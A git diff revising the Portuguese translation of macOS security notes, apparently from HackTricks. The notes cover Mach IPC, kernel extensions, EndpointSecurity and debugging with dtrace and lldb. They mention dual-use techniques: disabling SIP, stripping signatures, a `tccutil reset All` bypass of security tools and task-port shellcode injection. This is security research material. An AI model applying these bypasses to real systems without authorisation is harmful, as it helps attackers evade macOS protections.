diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 84ec351e9..d6371e8f5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -18,7 +18,7 @@ No XNU, Mach é **responsável por muitas das operações críticas de baixo ní ### BSD -O **núcleo** XNU também **incorpora** uma quantidade significativa de código derivado do projeto **FreeBSD**. Este código **executa como parte do núcleo junto com Mach**, no mesmo espaço de endereço. No entanto, o código FreeBSD dentro do XNU pode diferir substancialmente do código FreeBSD original porque modificações foram necessárias para garantir sua compatibilidade com Mach. FreeBSD contribui para muitas operações do núcleo, incluindo: +O **núcleo** XNU também **incorpora** uma quantidade significativa de código derivado do projeto **FreeBSD**. Este código **executa como parte do núcleo junto com Mach**, no mesmo espaço de endereço. No entanto, o código FreeBSD dentro do XNU pode diferir substancialmente do código FreeBSD original porque modificações foram necessárias para garantir sua compatibilidade com Mach. O FreeBSD contribui para muitas operações do núcleo, incluindo: - Gerenciamento de processos - Manipulação de sinais @@ -29,7 +29,7 @@ O **núcleo** XNU também **incorpora** uma quantidade significativa de código Entender a interação entre BSD e Mach pode ser complexo, devido aos seus diferentes frameworks conceituais. Por exemplo, o BSD usa processos como sua unidade fundamental de execução, enquanto Mach opera com base em threads. Essa discrepância é reconciliada no XNU **associando cada processo BSD a uma tarefa Mach** que contém exatamente uma thread Mach. Quando a chamada de sistema fork() do BSD é usada, o código BSD dentro do núcleo utiliza funções Mach para criar uma estrutura de tarefa e thread. -Além disso, **Mach e BSD mantêm diferentes modelos de segurança**: o modelo de segurança de **Mach** é baseado em **direitos de porta**, enquanto o modelo de segurança do BSD opera com base em **propriedade de processos**. Disparidades entre esses dois modelos ocasionalmente resultaram em vulnerabilidades de escalonamento de privilégios locais. Além das chamadas de sistema típicas, também existem **traps Mach que permitem que programas de espaço de usuário interajam com o núcleo**. Esses diferentes elementos juntos formam a arquitetura híbrida multifacetada do núcleo do macOS. +Além disso, **Mach e BSD mantêm diferentes modelos de segurança**: o modelo de segurança do **Mach** é baseado em **direitos de porta**, enquanto o modelo de segurança do BSD opera com base em **propriedade de processos**. Disparidades entre esses dois modelos ocasionalmente resultaram em vulnerabilidades de escalonamento de privilégios locais. Além das chamadas de sistema típicas, também existem **traps Mach que permitem que programas de espaço de usuário interajam com o núcleo**. Esses diferentes elementos juntos formam a arquitetura híbrida multifacetada do núcleo do macOS. ### I/O Kit - Drivers @@ -39,15 +39,15 @@ O I/O Kit é um framework de **driver de dispositivo** orientado a objetos e de macos-iokit.md {{#endref}} -### IPC - Comunicação entre Processos +### IPC - Inter Process Communication {{#ref}} ../macos-proces-abuse/macos-ipc-inter-process-communication/ {{#endref}} -## Extensões do Núcleo do macOS +## macOS Kernel Extensions -O macOS é **super restritivo para carregar Extensões do Núcleo** (.kext) devido aos altos privilégios com que o código será executado. Na verdade, por padrão, é virtualmente impossível (a menos que um bypass seja encontrado). +O macOS é **super restritivo para carregar Extensões de Núcleo** (.kext) devido aos altos privilégios com que o código será executado. Na verdade, por padrão, é virtualmente impossível (a menos que um bypass seja encontrado). Na página seguinte, você também pode ver como recuperar o `.kext` que o macOS carrega dentro de seu **kernelcache**: @@ -55,15 +55,15 @@ Na página seguinte, você também pode ver como recuperar o `.kext` que o macOS macos-kernel-extensions.md {{#endref}} -### Extensões do Sistema do macOS +### macOS System Extensions -Em vez de usar Extensões do Núcleo, o macOS criou as Extensões do Sistema, que oferecem APIs em nível de usuário para interagir com o núcleo. Dessa forma, os desenvolvedores podem evitar o uso de extensões do núcleo. +Em vez de usar Extensões de Núcleo, o macOS criou as Extensões de Sistema, que oferecem APIs em nível de usuário para interagir com o núcleo. Dessa forma, os desenvolvedores podem evitar o uso de extensões de núcleo. {{#ref}} macos-system-extensions.md {{#endref}} -## Referências +## References - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index 902384399..1adf09763 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -8,7 +8,7 @@ Mach usa **tarefas** como a **menor unidade** para compartilhar recursos, e cada tarefa pode conter **múltiplas threads**. Essas **tarefas e threads são mapeadas 1:1 para processos e threads POSIX**. -A comunicação entre tarefas ocorre via Comunicação Inter-Processos Mach (IPC), utilizando canais de comunicação unidirecionais. **Mensagens são transferidas entre portas**, que atuam como **filas de mensagens** gerenciadas pelo kernel. +A comunicação entre tarefas ocorre via Comunicação Inter-Processos Mach (IPC), utilizando canais de comunicação unidirecionais. **As mensagens são transferidas entre portas**, que atuam como **filas de mensagens** gerenciadas pelo kernel. Cada processo possui uma **tabela IPC**, onde é possível encontrar as **portas mach do processo**. O nome de uma porta mach é, na verdade, um número (um ponteiro para o objeto do kernel). @@ -19,7 +19,7 @@ Um processo também pode enviar um nome de porta com alguns direitos **para uma Os direitos de porta, que definem quais operações uma tarefa pode realizar, são fundamentais para essa comunicação. Os possíveis **direitos de porta** são ([definições daqui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): - **Direito de Receber**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, um único consumidor), o que significa que pode haver apenas **um direito de receber para cada porta** em todo o sistema (diferente de pipes, onde múltiplos processos podem manter descritores de arquivo para a extremidade de leitura de um pipe). -- Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Envio**, permitindo que envie mensagens. Originalmente, apenas a **própria tarefa tem o Direito de Receber sobre sua porta**. +- Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Envio**, permitindo que envie mensagens. Originalmente, apenas a **própria tarefa possui o Direito de Receber sobre sua porta**. - **Direito de Enviar**, que permite enviar mensagens para a porta. - O Direito de Enviar pode ser **clonado**, de modo que uma tarefa que possui um Direito de Enviar pode clonar o direito e **concedê-lo a uma terceira tarefa**. - **Direito de Enviar uma vez**, que permite enviar uma mensagem para a porta e depois desaparece. @@ -51,7 +51,7 @@ Então, a Apple armazena os **nomes dos serviços fornecidos pelo sistema** em a Para esses serviços predefinidos, o **processo de busca difere ligeiramente**. Quando um nome de serviço está sendo buscado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte: -- A tarefa **B** inicia uma **busca de inicialização** por um nome de serviço. +- A tarefa **B** inicia uma **busca** de inicialização por um nome de serviço. - **launchd** verifica se a tarefa está em execução e, se não estiver, **inicia**. - A tarefa **A** (o serviço) realiza um **check-in de inicialização**. Aqui, o **servidor de inicialização** cria um direito de ENVIAR, retém-o e **transfere o direito de RECEBER para a Tarefa A**. - O launchd duplica o **direito de ENVIAR e o envia para a Tarefa B**. @@ -76,7 +76,7 @@ mach_msg_id_t msgh_id; ``` Processos que possuem um _**direito de recebimento**_ podem receber mensagens em uma porta Mach. Por outro lado, os **remetentes** recebem um _**direito de envio**_ ou um _**direito de envio-uma-vez**_. O direito de envio-uma-vez é exclusivamente para enviar uma única mensagem, após a qual se torna inválido. -Para alcançar uma fácil **comunicação bidirecional**, um processo pode especificar uma **porta mach** no **cabeçalho da mensagem** chamada de _porta de resposta_ (**`msgh_local_port`**) onde o **receptor** da mensagem pode **enviar uma resposta** a esta mensagem. Os bits em **`msgh_bits`** podem ser usados para **indicar** que um **direito de envio-uma-vez** deve ser derivado e transferido para esta porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +Para alcançar uma fácil **comunicação bidirecional**, um processo pode especificar uma **porta mach** no **cabeçalho da mensagem** mach chamada de _porta de resposta_ (**`msgh_local_port`**) onde o **receptor** da mensagem pode **enviar uma resposta** a esta mensagem. Os bits em **`msgh_bits`** podem ser usados para **indicar** que um **direito de envio-uma-vez** deve ser derivado e transferido para esta porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] > Note que esse tipo de comunicação bidirecional é usado em mensagens XPC que esperam uma resposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Mas **geralmente portas diferentes são criadas** como explicado anteriormente para criar a comunicação bidirecional. @@ -99,7 +99,7 @@ Você pode instalar esta ferramenta no iOS baixando-a de [http://newosxbook.com/ ### Exemplo de código -Note como o **remetente** **aloca** uma porta, cria um **direito de envio** para o nome `org.darlinghq.example` e o envia para o **servidor de bootstrap**, enquanto o remetente solicitou o **direito de envio** desse nome e o usou para **enviar uma mensagem**. +Note como o **remetente** **aloca** uma porta, cria um **direito de envio** para o nome `org.darlinghq.example` e o envia para o **servidor de bootstrap**, enquanto o remetente pediu o **direito de envio** desse nome e o usou para **enviar uma mensagem**. {{#tabs}} {{#tab name="receiver.c"}} @@ -236,7 +236,7 @@ printf("Sent a message\n"); - Estas são as restrições para acessar a porta (do `macos_task_policy` do binário `AppleMobileFileIntegrity`): - Se o aplicativo tiver a **isenção `com.apple.security.get-task-allow`**, processos do **mesmo usuário podem acessar a porta de tarefa** (comumente adicionada pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção. - Aplicativos com a isenção **`com.apple.system-task-ports`** podem obter a **porta de tarefa para qualquer** processo, exceto o kernel. Em versões mais antigas, era chamada de **`task_for_pid-allow`**. Isso é concedido apenas a aplicativos da Apple. -- **Root pode acessar portas de tarefa** de aplicativos **não** compilados com um runtime **endurecido** (e não da Apple). +- **Root pode acessar portas de tarefa** de aplicativos **não** compilados com um tempo de execução **endurecido** (e não da Apple). ### Injeção de Shellcode em thread via Porta de Tarefa diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index aedc5b688..7501ded01 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -14,15 +14,15 @@ Obviamente, isso é tão poderoso que é **complicado carregar uma extensão de
-- A extensão de kernel deve ser **assinada com um certificado de assinatura de código de kernel**, que só pode ser **concedido pela Apple**. Quem irá revisar em detalhes a empresa e as razões pelas quais é necessário. +- A extensão de kernel deve ser **assinada com um certificado de assinatura de código de kernel**, que só pode ser **concedido pela Apple**. Quem irá revisar em detalhes a empresa e os motivos pelos quais é necessário. - A extensão de kernel também deve ser **notarizada**, a Apple poderá verificá-la em busca de malware. - Então, o usuário **root** é quem pode **carregar a extensão de kernel** e os arquivos dentro do pacote devem **pertencer ao root**. - Durante o processo de upload, o pacote deve ser preparado em um **local protegido não-root**: `/Library/StagedExtensions` (requer a concessão `com.apple.rootless.storage.KernelExtensionManagement`). -- Finalmente, ao tentar carregá-la, o usuário [**receberá um pedido de confirmação**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) e, se aceito, o computador deve ser **reiniciado** para carregá-la. +- Finalmente, ao tentar carregá-la, o usuário [**receberá uma solicitação de confirmação**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) e, se aceita, o computador deve ser **reiniciado** para carregá-la. ### Processo de Carregamento -Em Catalina era assim: É interessante notar que o processo de **verificação** ocorre em **userland**. No entanto, apenas aplicativos com a concessão **`com.apple.private.security.kext-management`** podem **solicitar ao kernel que carregue uma extensão**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +Em Catalina era assim: É interessante notar que o processo de **verificação** ocorre no **userland**. No entanto, apenas aplicativos com a concessão **`com.apple.private.security.kext-management`** podem **solicitar ao kernel que carregue uma extensão**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` 1. **`kextutil`** cli **inicia** o processo de **verificação** para carregar uma extensão - Ele se comunicará com **`kextd`** enviando usando um **serviço Mach**. @@ -49,9 +49,9 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 O **kernelcache** é uma **versão pré-compilada e pré-linkada do kernel XNU**, juntamente com **drivers** e **extensões de kernel** essenciais. Ele é armazenado em um formato **compactado** e é descompactado na memória durante o processo de inicialização. O kernelcache facilita um **tempo de inicialização mais rápido** ao ter uma versão pronta para execução do kernel e drivers cruciais disponíveis, reduzindo o tempo e os recursos que seriam gastos carregando e vinculando dinamicamente esses componentes no momento da inicialização. -### Local Kerlnelcache +### Kernelcache Local -No iOS, ele está localizado em **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** no macOS você pode encontrá-lo com: **`find / -name "kernelcache" 2>/dev/null`** \ +No iOS, está localizado em **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** no macOS você pode encontrá-lo com: **`find / -name "kernelcache" 2>/dev/null`** \ No meu caso, no macOS, eu o encontrei em: - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` @@ -60,15 +60,15 @@ No meu caso, no macOS, eu o encontrei em: O formato de arquivo IMG4 é um formato de contêiner usado pela Apple em seus dispositivos iOS e macOS para **armazenar e verificar com segurança** componentes de firmware (como **kernelcache**). O formato IMG4 inclui um cabeçalho e várias tags que encapsulam diferentes partes de dados, incluindo a carga útil real (como um kernel ou bootloader), uma assinatura e um conjunto de propriedades de manifesto. O formato suporta verificação criptográfica, permitindo que o dispositivo confirme a autenticidade e integridade do componente de firmware antes de executá-lo. -Ele é geralmente composto pelos seguintes componentes: +Geralmente, é composto pelos seguintes componentes: -- **Payload (IM4P)**: -- Frequentemente compactado (LZFSE4, LZSS, …) -- Opcionalmente criptografado -- **Manifest (IM4M)**: +- **Carga útil (IM4P)**: +- Frequentemente compactada (LZFSE4, LZSS, …) +- Opcionalmente criptografada +- **Manifesto (IM4M)**: - Contém Assinatura - Dicionário adicional de Chave/Valor -- **Restore Info (IM4R)**: +- **Informações de Restauração (IM4R)**: - Também conhecido como APNonce - Impede a repetição de algumas atualizações - OPCIONAL: Geralmente isso não é encontrado diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index ea8e97615..0693c998b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -21,14 +21,14 @@ Network Extensions fornecem a capacidade de personalizar comportamentos de rede. - **App Proxy**: Isso é usado para criar um cliente VPN que implementa um protocolo VPN personalizado orientado a fluxo. Isso significa que ele lida com o tráfego de rede com base em conexões (ou fluxos) em vez de pacotes individuais. - **Packet Tunnel**: Isso é usado para criar um cliente VPN que implementa um protocolo VPN personalizado orientado a pacotes. Isso significa que ele lida com o tráfego de rede com base em pacotes individuais. - **Filter Data**: Isso é usado para filtrar "fluxos" de rede. Ele pode monitorar ou modificar dados de rede no nível do fluxo. -- **Filter Packet**: Isso é usado para filtrar pacotes de rede individuais. Ele pode monitorar ou modificar dados de rede no nível do pacote. +- **Filter Packet**: Isso é usado para filtrar pacotes individuais de rede. Ele pode monitorar ou modificar dados de rede no nível do pacote. - **DNS Proxy**: Isso é usado para criar um provedor DNS personalizado. Ele pode ser usado para monitorar ou modificar solicitações e respostas DNS. ## Endpoint Security Framework Endpoint Security é um framework fornecido pela Apple no macOS que oferece um conjunto de APIs para segurança do sistema. É destinado ao uso por **fornecedores de segurança e desenvolvedores para construir produtos que podem monitorar e controlar a atividade do sistema** para identificar e proteger contra atividades maliciosas. -Este framework fornece uma **coleção de APIs para monitorar e controlar a atividade do sistema**, como execuções de processos, eventos do sistema de arquivos, eventos de rede e do kernel. +Este framework fornece uma **coleção de APIs para monitorar e controlar a atividade do sistema**, como execuções de processos, eventos do sistema de arquivos, eventos de rede e eventos do kernel. O núcleo deste framework é implementado no kernel, como uma Kernel Extension (KEXT) localizada em **`/System/Library/Extensions/EndpointSecurity.kext`**. Este KEXT é composto por vários componentes-chave: @@ -71,7 +71,7 @@ tccutil reset All ``` Para **mais informações** sobre este bypass e relacionados, confira a palestra [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) -No final, isso foi corrigido ao conceder a nova permissão **`kTCCServiceEndpointSecurityClient`** ao aplicativo de segurança gerenciado por **`tccd`**, de modo que `tccutil` não limpe suas permissões, impedindo-o de ser executado. +No final, isso foi corrigido ao dar a nova permissão **`kTCCServiceEndpointSecurityClient`** ao aplicativo de segurança gerenciado por **`tccd`**, para que `tccutil` não limpe suas permissões, impedindo-o de ser executado. ## Referências diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 61861a96c..b2b4c4e7c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -204,27 +204,27 @@ swift demangle ## Análise Dinâmica > [!WARNING] -> Note que, para depurar binários, **o SIP precisa ser desativado** (`csrutil disable` ou `csrutil enable --without debug`) ou copiar os binários para uma pasta temporária e **remover a assinatura** com `codesign --remove-signature ` ou permitir a depuração do binário (você pode usar [este script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)) +> Note que para depurar binários, **o SIP precisa estar desativado** (`csrutil disable` ou `csrutil enable --without debug`) ou copiar os binários para uma pasta temporária e **remover a assinatura** com `codesign --remove-signature ` ou permitir a depuração do binário (você pode usar [este script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)) > [!WARNING] -> Note que, para **instrumentar binários do sistema**, (como `cloudconfigurationd`) no macOS, **o SIP deve ser desativado** (apenas remover a assinatura não funcionará). +> Note que para **instrumentar binários do sistema**, (como `cloudconfigurationd`) no macOS, **o SIP deve estar desativado** (apenas remover a assinatura não funcionará). ### APIs macOS expõe algumas APIs interessantes que fornecem informações sobre os processos: - `proc_info`: Este é o principal que fornece muitas informações sobre cada processo. Você precisa ser root para obter informações de outros processos, mas não precisa de direitos especiais ou portas mach. -- `libsysmon.dylib`: Permite obter informações sobre processos através de funções expostas pelo XPC, no entanto, é necessário ter a autorização `com.apple.sysmond.client`. +- `libsysmon.dylib`: Permite obter informações sobre processos através de funções expostas pelo XPC, no entanto, é necessário ter o direito `com.apple.sysmond.client`. ### Stackshot & microstackshots -**Stackshotting** é uma técnica usada para capturar o estado dos processos, incluindo as pilhas de chamadas de todas as threads em execução. Isso é particularmente útil para depuração, análise de desempenho e compreensão do comportamento do sistema em um momento específico. No iOS e macOS, o stackshotting pode ser realizado usando várias ferramentas e métodos, como as ferramentas **`sample`** e **`spindump`**. +**Stackshotting** é uma técnica usada para capturar o estado dos processos, incluindo as pilhas de chamadas de todas as threads em execução. Isso é particularmente útil para depuração, análise de desempenho e compreensão do comportamento do sistema em um ponto específico no tempo. No iOS e macOS, o stackshotting pode ser realizado usando várias ferramentas e métodos, como as ferramentas **`sample`** e **`spindump`**. ### Sysdiagnose Esta ferramenta (`/usr/bini/ysdiagnose`) basicamente coleta muitas informações do seu computador executando dezenas de comandos diferentes, como `ps`, `zprint`... -Deve ser executada como **root** e o daemon `/usr/libexec/sysdiagnosed` possui autorizações muito interessantes, como `com.apple.system-task-ports` e `get-task-allow`. +Deve ser executada como **root** e o daemon `/usr/libexec/sysdiagnosed` possui direitos muito interessantes, como `com.apple.system-task-ports` e `get-task-allow`. Seu plist está localizado em `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`, que declara 3 MachServices: @@ -258,13 +258,13 @@ Além disso, na **parte inferior do meio, você pode escrever comandos em python #### Painel direito -No painel direito, você pode ver informações interessantes, como o **histórico de navegação** (para saber como você chegou à situação atual), o **gráfico de chamadas** onde você pode ver todas as **funções que chamam esta função** e todas as funções que **esta função chama**, e informações sobre **variáveis locais**. +No painel direito, você pode ver informações interessantes, como o **histórico de navegação** (para que você saiba como chegou à situação atual), o **gráfico de chamadas** onde você pode ver todas as **funções que chamam esta função** e todas as funções que **esta função chama**, e informações sobre **variáveis locais**. ### dtrace -Permite que os usuários acessem aplicativos em um nível extremamente **baixo** e fornece uma maneira para os usuários **rastrearem** **programas** e até mesmo mudarem seu fluxo de execução. O Dtrace usa **probes** que são **colocados em todo o kernel** e estão em locais como o início e o fim das chamadas de sistema. +Permite que os usuários acessem aplicativos em um nível extremamente **baixo** e fornece uma maneira para os usuários **rastrearem** **programas** e até mesmo mudarem seu fluxo de execução. Dtrace usa **probes** que são **colocadas em todo o kernel** e estão em locais como o início e o fim das chamadas de sistema. -O DTrace usa a função **`dtrace_probe_create`** para criar uma probe para cada chamada de sistema. Essas probes podem ser acionadas no **ponto de entrada e saída de cada chamada de sistema**. A interação com o DTrace ocorre através de /dev/dtrace, que está disponível apenas para o usuário root. +DTrace usa a função **`dtrace_probe_create`** para criar uma probe para cada chamada de sistema. Essas probes podem ser acionadas no **ponto de entrada e saída de cada chamada de sistema**. A interação com o DTrace ocorre através de /dev/dtrace, que está disponível apenas para o usuário root. > [!TIP] > Para habilitar o Dtrace sem desativar completamente a proteção SIP, você pode executar no modo de recuperação: `csrutil enable --without dtrace` @@ -290,6 +290,8 @@ Uma explicação mais detalhada e mais exemplos podem ser encontrados em [https: #### Exemplos Execute `man -k dtrace` para listar os **scripts DTrace disponíveis**. Exemplo: `sudo dtruss -n binary` + +- Na linha ```bash #Count the number of syscalls of each running process sudo dtrace -n 'syscall:::entry {@[execname] = count()}' @@ -357,11 +359,11 @@ Para interagir com kdebug com um cliente personalizado, geralmente esses são os Para obter essas informações, é possível usar a ferramenta da Apple **`trace`** ou a ferramenta personalizada [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.** -**Note que Kdebug está disponível apenas para 1 cliente por vez.** Portanto, apenas uma ferramenta alimentada por k-debug pode ser executada ao mesmo tempo. +**Observe que Kdebug está disponível apenas para 1 cliente por vez.** Portanto, apenas uma ferramenta com k-debug pode ser executada ao mesmo tempo. ### ktrace -As APIs `ktrace_*` vêm de `libktrace.dylib`, que envolvem as de `Kdebug`. Assim, um cliente pode apenas chamar `ktrace_session_create` e `ktrace_events_[single/class]` para definir callbacks em códigos específicos e, em seguida, iniciá-lo com `ktrace_start`. +As APIs `ktrace_*` vêm de `libktrace.dylib`, que envolvem as de `Kdebug`. Assim, um cliente pode simplesmente chamar `ktrace_session_create` e `ktrace_events_[single/class]` para definir callbacks em códigos específicos e, em seguida, iniciá-lo com `ktrace_start`. Você pode usar este mesmo com **SIP ativado** @@ -438,7 +440,7 @@ settings set target.x86-disassembly-flavor intel > [!WARNING] > Dentro do lldb, despeje um processo com `process save-core` -
(lldb) ComandoDescrição
run (r)Inicia a execução, que continuará sem interrupções até que um ponto de interrupção seja atingido ou o processo termine.
process launch --stop-at-entryInicia a execução parando no ponto de entrada
continue (c)Continua a execução do processo depurado.
nexti (n / ni)Executa a próxima instrução. Este comando irá pular chamadas de função.
stepi (s / si)Executa a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.
finish (f)Executa o restante das instruções na função atual (“frame”), retorna e para.
control + cPausa a execução. Se o processo foi executado (r) ou continuado (c), isso fará com que o processo pare ...onde quer que esteja executando atualmente.
breakpoint (b)

b main #Qualquer função chamada main

b <binname>`main #Função principal do bin

b set -n main --shlib <lib_name> #Função principal do bin indicado

breakpoint set -r '\[NSFileManager .*\]$' #Qualquer método NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Interrompe em todas as funções daquela biblioteca

b -a 0x0000000100004bd9

br l #Lista de pontos de interrupção

br e/dis <num> #Habilitar/Desabilitar ponto de interrupção

breakpoint delete <num>

help

help breakpoint #Obter ajuda do comando breakpoint

help memory write #Obter ajuda para escrever na memória

reg

reg read

reg read $rax

reg read $rax --format <formato>

reg write $rip 0x100035cc0

x/s <reg/endereço de memória>Exibe a memória como uma string terminada em nulo.
x/i <reg/endereço de memória>Exibe a memória como instrução de assembly.
x/b <reg/endereço de memória>Exibe a memória como byte.
print object (po)

Isso imprimirá o objeto referenciado pelo parâmetro

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Note que a maioria das APIs ou métodos Objective-C da Apple retornam objetos, e, portanto, devem ser exibidos via o comando “print object” (po). Se po não produzir uma saída significativa, use x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Escreve AAAA nesse endereço
memory write -f s $rip+0x11f+7 "AAAA" #Escreve AAAA no addr
disassembly

dis #Desmonta a função atual

dis -n <funcname> #Desmonta a função

dis -n <funcname> -b <basename> #Desmonta a função
dis -c 6 #Desmonta 6 linhas
dis -c 0x100003764 -e 0x100003768 # De um add até o outro
dis -p -c 4 # Começa no endereço atual desmontando

parrayparray 3 (char **)$x1 # Verifica array de 3 componentes no reg x1
image dump sectionsImprime o mapa da memória do processo atual
image dump symtab <library>image dump symtab CoreNLP #Obtém o endereço de todos os símbolos do CoreNLP
+
(lldb) ComandoDescrição
run (r)Inicia a execução, que continuará sem interrupções até que um ponto de interrupção seja atingido ou o processo termine.
process launch --stop-at-entryInicia a execução parando no ponto de entrada
continue (c)Continua a execução do processo depurado.
nexti (n / ni)Executa a próxima instrução. Este comando irá pular chamadas de função.
stepi (s / si)Executa a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.
finish (f)Executa o restante das instruções na função atual (“frame”) e retorna, parando.
control + cPausa a execução. Se o processo foi executado (r) ou continuado (c), isso fará com que o processo pare ...onde quer que esteja executando atualmente.
breakpoint (b)

b main #Qualquer função chamada main

b <binname>`main #Função principal do bin

b set -n main --shlib <lib_name> #Função principal do bin indicado

breakpoint set -r '\[NSFileManager .*\]$' #Qualquer método NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Interrompe em todas as funções daquela biblioteca

b -a 0x0000000100004bd9

br l #Lista de pontos de interrupção

br e/dis <num> #Habilitar/Desabilitar ponto de interrupção

breakpoint delete <num>

help

help breakpoint #Obter ajuda do comando breakpoint

help memory write #Obter ajuda para escrever na memória

reg

reg read

reg read $rax

reg read $rax --format <formato>

reg write $rip 0x100035cc0

x/s <reg/endereço de memória>Exibe a memória como uma string terminada em nulo.
x/i <reg/endereço de memória>Exibe a memória como instrução de assembly.
x/b <reg/endereço de memória>Exibe a memória como byte.
print object (po)

Isso imprimirá o objeto referenciado pelo parâmetro

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Note que a maioria das APIs ou métodos Objective-C da Apple retornam objetos, e, portanto, devem ser exibidos via o comando “print object” (po). Se po não produzir uma saída significativa, use x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Escreve AAAA nesse endereço
memory write -f s $rip+0x11f+7 "AAAA" #Escreve AAAA no addr
disassembly

dis #Desmonta a função atual

dis -n <funcname> #Desmonta a função

dis -n <funcname> -b <basename> #Desmonta a função
dis -c 6 #Desmonta 6 linhas
dis -c 0x100003764 -e 0x100003768 # De um add até o outro
dis -p -c 4 # Começa no endereço atual desmontando

parrayparray 3 (char **)$x1 # Verifica array de 3 componentes no reg x1
image dump sectionsImprime o mapa da memória do processo atual
image dump symtab <library>image dump symtab CoreNLP #Obtém o endereço de todos os símbolos do CoreNLP
> [!NOTE] > Ao chamar a função **`objc_sendMsg`**, o registrador **rsi** contém o **nome do método** como uma string terminada em nulo (“C”). Para imprimir o nome via lldb faça: @@ -460,19 +462,19 @@ settings set target.x86-disassembly-flavor intel - Também é possível descobrir **se um processo está sendo depurado** com um código simples como: - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //processo sendo depurado }` - Ele também pode invocar a chamada de sistema **`ptrace`** com a flag **`PT_DENY_ATTACH`**. Isso **impede** que um depurador se anexe e trace. -- Você pode verificar se a função **`sysctl`** ou **`ptrace`** está sendo **importada** (mas o malware poderia importá-la dinamicamente) +- Você pode verificar se a função **`sysctl`** ou **`ptrace`** está sendo **importada** (mas o malware pode importá-la dinamicamente) - Como observado neste relatório, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ “_A mensagem Process # exited with **status = 45 (0x0000002d)** é geralmente um sinal claro de que o alvo de depuração está usando **PT_DENY_ATTACH**_” -## Core Dumps +## Dumps de Core -Core dumps são criados se: +Dumps de core são criados se: - `kern.coredump` sysctl está definido como 1 (por padrão) - Se o processo não era suid/sgid ou `kern.sugid_coredump` é 1 (por padrão é 0) -- O limite `AS_CORE` permite a operação. É possível suprimir a criação de core dumps chamando `ulimit -c 0` e reabilitá-los com `ulimit -c unlimited`. +- O limite `AS_CORE` permite a operação. É possível suprimir a 